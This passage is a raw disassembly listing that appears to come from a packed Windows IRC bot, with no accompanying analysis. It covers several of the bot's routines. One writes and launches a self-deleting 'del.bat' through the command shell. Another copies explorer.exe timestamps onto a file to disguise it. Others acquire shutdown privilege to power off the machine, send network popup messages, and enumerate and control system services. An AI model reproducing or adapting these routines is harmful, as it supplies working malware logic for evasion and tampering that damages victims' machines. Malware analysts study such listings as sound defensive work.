CODE XREF: sub_4184CC+87j cmp byte ptr [edx+esi], 0 jnz short loc_418550 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418550 cmp ebx, 1F4h jge short loc_418555 mov [edi], ecx inc ebx add edi, 4 loc_418550: ; CODE XREF: sub_4184CC+69j ; sub_4184CC+74j inc edx cmp edx, eax jl short loc_418531 loc_418555: ; CODE XREF: sub_4184CC+5Dj ; sub_4184CC+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418573 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41CD20 add esp, 0Ch loc_418573: ; CODE XREF: sub_4184CC+8Ej mov eax, ebx loc_418575: ; CODE XREF: sub_4184CC+34j pop esi pop ebx leave retn sub_4184CC endp ; =============== S U B R O U T I N E ======================================= sub_418579 proc near ; CODE XREF: sub_4185D3+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_4185B2 push ebx mov ebx, edi loc_418596: ; CODE XREF: sub_418579+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_4185B5 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418596 pop ebx loc_4185B2: ; CODE XREF: sub_418579+18j pop edi pop esi retn sub_418579 endp ; =============== S U B R O U T I N E ======================================= sub_4185B5 proc near ; CODE XREF: sub_418579+25p ; sub_4185D3+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41DFEC cmp al, 61h pop ecx jl short loc_4185D0 cmp al, 7Ah jg short loc_4185D0 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_4185D0: ; CODE XREF: sub_4185B5+Ej ; sub_4185B5+12j xor eax, eax retn sub_4185B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185D3 proc near ; CODE XREF: sub_415E19+10p ; ___:00415EEBp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41C500 push ebx push esi push edi push [ebp+arg_0] call sub_41B9C0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41B9C0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_418579 add esp, 14h dec esi mov edi, esi loc_418611: ; CODE XREF: sub_4185D3+B6j test esi, esi jle short loc_41868F mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41DFEC mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41DFEC pop ecx cmp eax, ebx pop ecx jz short loc_418687 loc_418637: ; CODE XREF: sub_4185D3+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_4185B5 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418658 mov eax, ecx loc_418658: ; CODE XREF: sub_4185D3+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41868B mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41DFEC mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41DFEC pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_418637 loc_418687: ; CODE XREF: sub_4185D3+62j dec edi dec esi jmp short loc_418611 ; --------------------------------------------------------------------------- loc_41868B: ; CODE XREF: sub_4185D3+8Aj xor eax, eax jmp short loc_418694 ; --------------------------------------------------------------------------- loc_41868F: ; CODE XREF: sub_4185D3+40j mov eax, [ebp+arg_0] add eax, edi loc_418694: ; CODE XREF: sub_4185D3+BAj pop edi pop esi pop ebx leave retn sub_4185D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p ; sub_401ACD+76FFp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 26B0669h mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 2820000h lea eax, [ebp+var_100] loc_4186D2: ; CODE XREF: sub_418699+46j mov cl, [eax] cmp cl, 1Fh jg short loc_4186DE cmp cl, 9 jnz short loc_4186E1 loc_4186DE: ; CODE XREF: sub_418699+3Ej inc eax jmp short loc_4186D2 ; --------------------------------------------------------------------------- loc_4186E1: ; CODE XREF: sub_418699+43j ; sub_418699+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4186FB mov cl, [eax] cmp cl, 2Eh jz short loc_4186E1 cmp cl, 21h jl short loc_4186E1 loc_4186FB: ; CODE XREF: sub_418699+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DB17C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41C360 add esp, 18h mov eax, esi pop esi leave retn sub_418699 endp ; =============== S U B R O U T I N E ======================================= sub_418723 proc near ; CODE XREF: sub_401ACD+2470p push esi push 0 call dword_4CB9A4 test eax, eax jz short loc_41875A push 1 call dword_4CB9C4 mov esi, eax test esi, esi jz short loc_41875A push edi push esi call near ptr 2830522h nop push esi mov edi, eax call near ptr 2830000h nop call dword_4CBA28 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41875A: ; CODE XREF: sub_418723+Bj ; sub_418723+19j xor eax, eax pop esi retn sub_418723 endp ; =============== S U B R O U T I N E ======================================= sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CB9E0 mov ebp, eax cmp ebp, esi jz short loc_4187DA push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 28401CFh push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 2840000h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41C266 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CBA30 push esi push 1 push 4C9h push ebp call dword_4CBA30 push ebx nop call near ptr 2830B31h push edi nop call near ptr 26808BBh push 1 pop eax pop ebx jmp short loc_4187DC ; --------------------------------------------------------------------------- loc_4187DA: ; CODE XREF: sub_41875E+16j xor eax, eax loc_4187DC: ; CODE XREF: sub_41875E+7Aj pop edi pop esi pop ebp retn sub_41875E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4187E0 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CBA90 test eax, eax jz short loc_41887F mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270F8 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2850000h push ebx mov ebx, dword_427070 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 28407D5h nop push esi call ebx loc_41887F: ; CODE XREF: sub_4187E0+2Aj ; sub_4187E0+51j ... pop edi pop esi pop ebx leave retn sub_4187E0 endp ; =============== S U B R O U T I N E ======================================= sub_418884 proc near ; CODE XREF: sub_401ACD+1682p push 1 loc_418886: ; DATA XREF: Themida_:005A4CCFo ; Themida_:005A4CD3o ... push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419B9E pop ecx pop ecx push 50005h push 6 call dword_4CB914 neg eax sbb eax, eax neg eax retn sub_418884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep ; ___:00416C12p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_4188CA cmp dword_4CBAA4, esi jnz short loc_4188CA push esi call sub_401000 pop ecx loc_4188CA: ; CODE XREF: sub_4188A6+13j ; sub_4188A6+1Bj call sub_40B583 lea eax, [ebp+var_764] push eax push 400h nop call near ptr 26D0000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call near ptr 27506FCh nop mov edi, eax cmp edi, esi jbe loc_418A2A lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 2740000h nop push edi nop call near ptr 26808BBh push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41BF70 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43DB88 mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 26B0C06h nop push eax call near ptr 2690000h nop lea eax, [ebp+var_15C] push eax nop call near ptr 26B0B43h cmp eax, 0FFFFFFFFh jz short loc_4189D2 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 26B0A02h loc_4189D2: ; CODE XREF: sub_4188A6+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2860000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call near ptr 2680B8Eh nop loc_418A2A: ; CODE XREF: sub_4188A6+72j pop edi pop esi leave retn sub_4188A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 2700552h nop cmp [ebp+var_84], 2 jnz short loc_418AC4 push [ebp+arg_10] push [ebp+arg_C] call dword_4CB954 push edi push eax call dword_4CB964 test eax, eax jz short loc_418AB6 push [ebp+arg_10] push offset dword_4394FC loc_418A8F: ; CODE XREF: sub_418A2E+94j lea eax, [ebp+var_294] push eax call sub_41C266 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h jmp short loc_418AEE ; --------------------------------------------------------------------------- loc_418AB6: ; CODE XREF: sub_418A2E+57j nop call near ptr 26B0669h push eax push offset unk_4394D4 jmp short loc_418A8F ; --------------------------------------------------------------------------- loc_418AC4: ; CODE XREF: sub_418A2E+3Fj lea eax, [ebp+var_294] push offset unk_4394A4 push eax call sub_41C266 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 1Ch loc_418AEE: ; CODE XREF: sub_418A2E+86j pop edi leave retn sub_418A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 2700552h nop cmp [ebp+var_90], 4 jnz short loc_418B47 cmp [ebp+var_8C], 0 jnz short loc_418B30 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_418B47 leave retn ; --------------------------------------------------------------------------- loc_418B30: ; CODE XREF: sub_418AF1+30j cmp [ebp+var_8C], 0Ah jz short loc_418B42 cmp [ebp+var_8C], 5Ah jnz short loc_418B47 loc_418B42: ; CODE XREF: sub_418AF1+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_418B47: ; CODE XREF: sub_418AF1+27j ; sub_418AF1+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" call near ptr 26E0000h nop mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26E03D4h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41E0D4 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41E0D4 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41E0D4 lea eax, [ebp+var_F8] push eax call sub_41E0B7 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi call near ptr 27E0813h nop mov eax, edi pop edi pop esi leave retn sub_418AF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call near ptr 26C0589h nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4276E0 call sub_41D174 sub esi, eax mov eax, esi pop esi leave retn sub_418BD1 endp ; =============== S U B R O U T I N E ======================================= sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418C66 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_439520[esi] push edi push eax call sub_418C88 add esp, 14h test eax, eax jnz short loc_418C56 push edi push off_43951C[esi] push offset unk_439630 loc_418C46: ; CODE XREF: sub_418C0E+56j mov esi, offset dword_4DBA40 push esi call sub_41C266 add esp, 10h jmp short loc_418C83 ; --------------------------------------------------------------------------- loc_418C56: ; CODE XREF: sub_418C0E+2Aj push eax call sub_418D2A pop ecx push eax push edi push offset unk_439604 jmp short loc_418C46 ; --------------------------------------------------------------------------- loc_418C66: ; CODE XREF: sub_418C0E+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DBA40 push off_439518[eax*4] push offset unk_4395E0 push esi call sub_41C266 add esp, 0Ch loc_418C83: ; CODE XREF: sub_418C0E+46j mov eax, esi pop edi pop esi retn sub_418C0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C88 proc near ; CODE XREF: sub_418C0E+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CB9C8 mov edi, eax cmp edi, ebx jnz short loc_418CAF call near ptr 26B0669h nop mov ebx, eax jmp short loc_418D24 ; --------------------------------------------------------------------------- loc_418CAF: ; CODE XREF: sub_418C88+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CB8B0 mov esi, eax cmp esi, ebx jnz short loc_418CCF call near ptr 26B0669h nop mov ebx, eax jmp short loc_418D1C ; --------------------------------------------------------------------------- loc_418CCF: ; CODE XREF: sub_418C88+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_418D02 cmp eax, 3 jz short loc_418CF3 jle short loc_418D15 cmp eax, 6 jg short loc_418D15 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CB91C jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418CF3: ; CODE XREF: sub_418C88+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CB8B8 jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418D02: ; CODE XREF: sub_418C88+4Dj push esi call dword_4CB920 loc_418D09: ; CODE XREF: sub_418C88+69j ; sub_418C88+78j test eax, eax jnz short loc_418D15 nop call near ptr 26B0669h mov ebx, eax loc_418D15: ; CODE XREF: sub_418C88+54j ; sub_418C88+59j ... push esi call dword_4CB8CC loc_418D1C: ; CODE XREF: sub_418C88+45j push edi call dword_4CB8CC pop esi loc_418D24: ; CODE XREF: sub_418C88+25j mov eax, ebx pop edi pop ebx leave retn sub_418C88 endp ; =============== S U B R O U T I N E ======================================= sub_418D2A proc near ; CODE XREF: sub_418C0E+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418DDF jz loc_418DD8 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418DA2 jz short loc_418D98 mov ecx, eax sub ecx, 3 jz short loc_418D8E dec ecx dec ecx jz short loc_418D84 dec ecx jz short loc_418D7A sub ecx, 51h jz short loc_418D70 sub ecx, 24h jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D70: ; CODE XREF: sub_418D2A+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D7A: ; CODE XREF: sub_418D2A+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D84: ; CODE XREF: sub_418D2A+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D8E: ; CODE XREF: sub_418D2A+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D98: ; CODE XREF: sub_418D2A+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DA2: ; CODE XREF: sub_418D2A+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418DD1 dec ecx jz short loc_418DCA dec ecx jz short loc_418DC3 dec ecx jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DC3: ; CODE XREF: sub_418D2A+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DCA: ; CODE XREF: sub_418D2A+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD1: ; CODE XREF: sub_418D2A+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD8: ; CODE XREF: sub_418D2A+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DDF: ; CODE XREF: sub_418D2A+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 jz short loc_418E42 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418E96[ecx] jmp off_418E6E[ecx*4] ; switch jump loc_418E03: ; DATA XREF: ___:off_418E6Eo push offset aTheSpecifiedDa ; jumptable 00418DFC case 7 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E0A: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceDepe ; jumptable 00418DFC case 17 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E11: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceDe_0 ; jumptable 00418DFC case 10 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E18: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHasB ; jumptable 00418DFC case 0 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E1F: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheSpecified_0 ; jumptable 00418DFC case 2 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E26: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceCoul ; jumptable 00418DFC case 11 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E2D: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHa_0 ; jumptable 00418DFC case 14 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E34: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheRequested_1 ; jumptable 00418DFC case 3 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E3B: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHasN ; jumptable 00418DFC case 4 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E42: ; CODE XREF: sub_418D2A+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_418E47: ; CODE XREF: sub_418D2A+41j ; sub_418D2A+4Bj ... push offset dword_4DB380 call sub_41C266 pop ecx pop ecx jmp short loc_418E68 ; --------------------------------------------------------------------------- loc_418E55: ; CODE XREF: sub_418D2A+36j ; sub_418D2A+89j ... push eax ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DB380 call sub_41C266 add esp, 0Ch loc_418E68: ; CODE XREF: sub_418D2A+129j mov eax, offset dword_4DB380 retn sub_418D2A endp ; --------------------------------------------------------------------------- off_418E6E dd offset loc_418E18 ; DATA XREF: sub_418D2A+D2r dd offset loc_418E1F ; jump table for switch statement dd offset loc_418E34 dd offset loc_418E3B dd offset loc_418E03 dd offset loc_418E11 dd offset loc_418E26 dd offset loc_418E2D dd offset loc_418E0A dd offset loc_418E55 byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CB9C8 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_418EE0: ; CODE XREF: sub_418EA8+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CB994 test eax, eax jnz short loc_418F1A nop call near ptr 26B0669h cmp eax, 0EAh jnz loc_418FCE loc_418F1A: ; CODE XREF: sub_418EA8+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418FC5 lea esi, [ebp+var_188] loc_418F2B: ; CODE XREF: sub_418EA8+117j mov eax, [esi+8] dec eax jz short loc_418F74 dec eax jz short loc_418F6D dec eax jz short loc_418F66 dec eax jz short loc_418F5F dec eax jz short loc_418F58 dec eax jz short loc_418F51 dec eax jz short loc_418F4A push offset aUnknown_0 ; " Unknown" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F4A: ; CODE XREF: sub_418EA8+99j push offset aPaused_0 ; " Paused" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F51: ; CODE XREF: sub_418EA8+96j push offset aPausing ; " Pausing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F58: ; CODE XREF: sub_418EA8+93j push offset aContinuing ; " Continuing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F5F: ; CODE XREF: sub_418EA8+90j push offset aRunning ; " Running" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F66: ; CODE XREF: sub_418EA8+8Dj push offset aStoping ; " Stoping" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F6D: ; CODE XREF: sub_418EA8+8Aj push offset aStarting ; " Starting" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F74: ; CODE XREF: sub_418EA8+87j push offset aStopped ; " Stopped" loc_418F79: ; CODE XREF: sub_418EA8+A0j ; sub_418EA8+A7j ... lea eax, [ebp+var_20] push eax call sub_41C266 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41C266 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_418F2B loc_418FC5: ; CODE XREF: sub_418EA8+77j cmp [ebp+var_8], ebx jnz loc_418EE0 loc_418FCE: ; CODE XREF: sub_418EA8+6Cj push [ebp+var_C] call dword_4CB8CC xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_418EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_41907F mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_41900E dec eax jnz short loc_41905F push edi push 0 call sub_4191B8 pop ecx pop ecx jmp short loc_41905B ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418FE5+18j cmp [ebp+arg_8], 0 jnz short loc_41904D push 24h push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz short loc_41904D push 57h pop eax loc_419025: ; CODE XREF: sub_418FE5+78j push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB63C push off_439518[eax*4] push offset unk_439BC4 push esi call sub_41C266 add esp, 14h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41904D: ; CODE XREF: sub_418FE5+2Dj ; sub_418FE5+3Bj push [ebp+arg_8] push edi push 0 call sub_41910C add esp, 0Ch loc_41905B: ; CODE XREF: sub_418FE5+27j test eax, eax jnz short loc_419025 loc_41905F: ; CODE XREF: sub_418FE5+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB63C push off_43951C[eax*4] push offset dword_439BA8 push esi call sub_41C266 add esp, 10h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41907F: ; CODE XREF: sub_418FE5+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DB63C lea eax, [eax+eax*2] push off_439518[eax*4] push offset unk_439B84 push esi call sub_41C266 add esp, 0Ch loc_41909F: ; CODE XREF: sub_418FE5+66j ; sub_418FE5+98j mov eax, esi pop edi pop esi pop ebp retn sub_418FE5 endp ; =============== S U B R O U T I N E ======================================= sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_4190B2 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4190B2: ; CODE XREF: 